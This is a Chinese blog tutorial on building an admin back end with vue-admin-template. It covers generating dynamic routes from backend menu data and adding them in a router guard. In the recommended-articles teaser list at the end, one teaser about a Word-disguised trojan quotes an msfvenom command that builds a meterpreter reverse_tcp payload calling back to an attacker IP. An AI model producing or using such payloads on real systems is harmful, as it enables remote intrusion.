近期在搞一个会议健康申报系统时,要搞一个后台,用到了vue-element-admin模板,使用的是PanJianChen(源码地址:https://github.com/PanJiaChen/vue-admin-template)

第一步:当前是下载源码了,下载地址:https://github.com/PanJiaChen/vue-admin-template

第二步:修改登录页面,登录接口(/store/modules/admin.js/login()),根据实际情况修改用户信息接口(/store/modules/admin.js/getInfo())

第三步:修改权限路由

1.删减路由文件中的配置,export const constantRoutes保留基本的/login、/404

2.动态路由清空,export const asyncRoutes=[]

3./store/modules/permission.js下定义生成路由方法

/**
* 后台查询的菜单数据拼装成路由格式的数据
* @param routes
*/
export function generaMenu(routes, data) { data.forEach(item => {
let menu = {
path: item.url,
children: [],
name: 'menu_' + item.id,
meta: { title: item.name, id: item.id ,icon:item.icon}
}
// console.log(item.url.indexOf('dashboard')) // console.log(item.children)
if (item.children) {
// console.log(item.children.length)
if (item.children.length > 0) {
menu.redirect = item.children[0].url
menu.component = Layout
} else {
// menu.component = () => import(`@/views${item.url}/index`)
menu.component = () => Promise.resolve(require(`@/views${item.url}`).default) }
if (item.url && item.url.indexOf('dashboard') != -1) {
menu = {
path: '/',
component: Layout,
redirect: '/dashboard',
children: [{
path: 'dashboard',
name: 'Dashboard',
component: () => import('@/views/dashboard/index'),
meta: { title: '控制台', icon: 'dashboard' }
}]
}
}
generaMenu(menu.children, item.children)
} else {
console.log('没有children')
}
routes.push(menu)
})
}

  actions中根据后台的接口加载动态路由

actions: {
GenerateRoutes({ commit }, data) {
return new Promise(resolve => { const loadMenuData = []
getAuthMenu().then(res => {
let data = res.data
console.log('menu=>', data)
console.log('asyncRoutes=>>', asyncRoutes)
let newRoutes = []//此处清空之前的路由
Object.assign(loadMenuData, data)
generaMenu(newRoutes, loadMenuData)
newRoutes.push({ path: '*', redirect: '/404', hidden: true })
let accessedRouters = newRoutes || []
console.log('accessedRouters', accessedRouters)
commit('SET_ROUTERS', accessedRouters)
resolve()
}) })
},
reset_routers({ commit }) {
return new Promise(resolve => {
commit('RESET_ROUTERS')
resolve()
})
}
}

  第四步、在/permission.js中添加动态路由

router.beforeEach(async (to, from, next) => {
// start progress bar
NProgress.start() // set page title
document.title = getPageTitle(to.meta.title) // determine whether the user has logged in
const hasToken = getToken() if (hasToken) {
if (to.path === '/login') {
// if is logged in, redirect to the home page
next({ path: '/' })
NProgress.done()
} else {
const hasGetUserInfo = store.getters.name
if (hasGetUserInfo) {
next()
} else {
try {
// get user info
await store.dispatch('admin/getInfo') store.dispatch('GenerateRoutes', {}).then(() => { // 生成可访问的路由表
router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表
console.log('to=',store.getters.addRouters)
next({ ...to, replace: true }) // hack方法 确保addRoutes已完成 ,set the replace: true so the navigation will not leave a history record
NProgress.done()
}) // next()
} catch (error) {
// remove token and go to login page to re-login
await store.dispatch('admin/resetToken')
Message.error(error || 'Has Error')
next(`/login?redirect=${to.path}`)
NProgress.done()
}
}
}
} else {
/* has no token*/ if (whiteList.indexOf(to.path) !== -1) {
// in the free login whitelist, go directly
next()
} else {
// other pages that do not have permission to access are redirected to the login page.
next(`/login?redirect=${to.path}`)
NProgress.done()
}
}
})

  然后你就可心情地玩了。

后台管理系统使用vue-element-admin搭建的更多相关文章

  1. 后台管理系统:vue&node&MongoDB(一)

    后台管理系统 使用工具: Vue    Node     Mongodb   Element-ui 一.后台(Node+Mongodb) 前期准备: 需要下载的包: mongooes -------- ...

  2. vue element Admin - 修改浏览器标签名 + 添加tagView标签 +固定导航头部 + 添加侧边栏Logo

    1 .修改浏览器标签名称: 修改浏览器标签名称在文件:\src\settings.js   image.png 2 .修改固定头部Header和侧边栏 Logo:   image.png 1)侧边栏文 ...

  3. laravel5.4+vue+element简单搭建(gulp+laravel Elixir)(转)

    如今laravel来到5.4版本,更方便引入vue了,具体步骤如下: 下图为我动到的文件 1.下载laravel5.4 2.命令行(laravel5.4目录下):composer install 3. ...

  4. 基于laravel5.4 vue 和vue-element搭建的单页面后台CMS

    介绍 该项目后台是基于vue和laravel搭建的单页面CMS系统,包含了文章管理,权限管理,用户管理等基本模块. 前台使用了传统web技术,laravel渲染搭建了个博客系统 github地址:ht ...

  5. 如何使用Vue.js来搭建一个后台管理系统

    目录 使用的技术 基础但不好版 1.初始化项目 2.实现初始页内容自定义 3.使用路由 原始代码 自建页面 修改路由 4.测试路由跳转 补充 子路由版 嵌套router-view 定义子路由 修改菜单 ...

  6. 从零开始搭建vue+element-ui后台管理系统项目到上线

    前言 之前有些过移动端的项目搭建的文章,感觉不写个pc端管理系统老感觉少了点什么,最近公司项目比较多,恰巧要做一个申报系统的后台管理系统,鉴于对vue技术栈比较熟悉,所以考虑还是使用vue技术栈来做: ...

  7. Vue + Element-ui实现后台管理系统(2)---项目搭建 + ⾸⻚布局实现

    项目搭建 + ⾸⻚布局实现 上篇对该项目做了个总述 :Vue + Element-ui实现后台管理系统(1) --- 总述 这篇主要讲解 项目搭建 + 后台⾸⻚布局实现 : 整体效果 后台首页按布局一 ...

  8. SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 后端篇(一): 搭建基本环境、整合 Swagger、MyBatisPlus、JSR303 以及国际化操作

    相关 (1) 相关博文地址: SpringBoot + Vue + ElementUI 实现后台管理系统模板 -- 前端篇(一):搭建基本环境:https://www.cnblogs.com/l-y- ...

  9. vue从入门到女装??:从零开始搭建后台管理系统(二)用vue-docute生成线上文档

    教程 vue从入门到女装??:从零开始搭建后台管理系统(一)安装框架 一个系统开发完成了总要有操作说明手册,接口文档之类的东西吧?这种要全部纯手写就很麻烦了,可以借助一些插件,比如: vue-docu ...

  10. vue+element-ui JYAdmin后台管理系统模板-集成方案【项目搭建篇2】

    项目搭建时间:2020-06-29 本章节:讲述基于vue/cli, 项目的基础搭建. 本主题讲述了: 1.跨域配置 2.axios请求封装 3.eslint配置 4.环境dev,test,pro(开 ...

随机推荐

  1. [源码解析] 深度学习流水线并行之PopeDream(1)--- Profile阶段

    [源码解析] 深度学习流水线并行之PopeDream(1)--- Profile阶段 目录 [源码解析] 深度学习流水线并行之PopeDream(1)--- Profile阶段 0x00 摘要 0x0 ...

  2. RHCS+Nginx及Fence机制实现高可用集群

    RHCS(Red Hat Cluster Suite,红帽集群套件)是Red Hat公司开发整合的一套综合集群软件组件,提供了集群系统中三种集群构架,分别是高可用性集群.负载均衡集群.存储集群,可以通 ...

  3. Kafka内外网访问

    本文介绍了Kafka内外网访问的设置. kafka的两个配置listeners和advertised.listeners listeners kafka监听的网卡的ip,假设你机器上有两张网卡,内网1 ...

  4. CentOS7系统搭建FTP服务器

    创建FTP服务器1.安装FTP服务 yum install -y vsftpd 默认的FTP服务的配置文件路径为/etc/vsftpd cd /etc/vsftpd[root@test924 vsft ...

  5. Django——后台管理

    1.要使用Django-admin后台的前提 INSTALLED_APPS = [ 'simpleui', 'django.contrib.admin', #必须有这一项 'django.contri ...

  6. .net中使用JSON

    在.NET使用JSON作为数据交换格式 ASP.NET中JSON的序列化和反序列化 三种方式: 使用System.Web.Script.Serialization.JavaScriptSerializ ...

  7. python库--tensorflow--io操作

    方法 返回值类型 参数 说明 .train.Saver() 实例s var_list=None 指定被保存和恢复的变量 dict: {name: 变量} list: [变量] None: 所有save ...

  8. Powershell配合word伪装木马执行

    环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPOR ...

  9. SQL:1999基本语法

    SQL:1999基本语法 SELECT [DISTINCT] * | 列名称 [AS]别名,........ FROM 表名称1 [别名1][CROSS JOIN表名称2 别名2]| [NATURAL ...

  10. ldconfig与 /etc/ld.so.conf

    现在我们知道了动态与静态函数库,也知道了当前的Linux大多是将函数库做成动态函数库,下面来讨论增加函数库读取性能的方法.我们知道,内存的访问速度是硬盘的好几倍,所以,如果将常用的动态函数库加载到内存 ...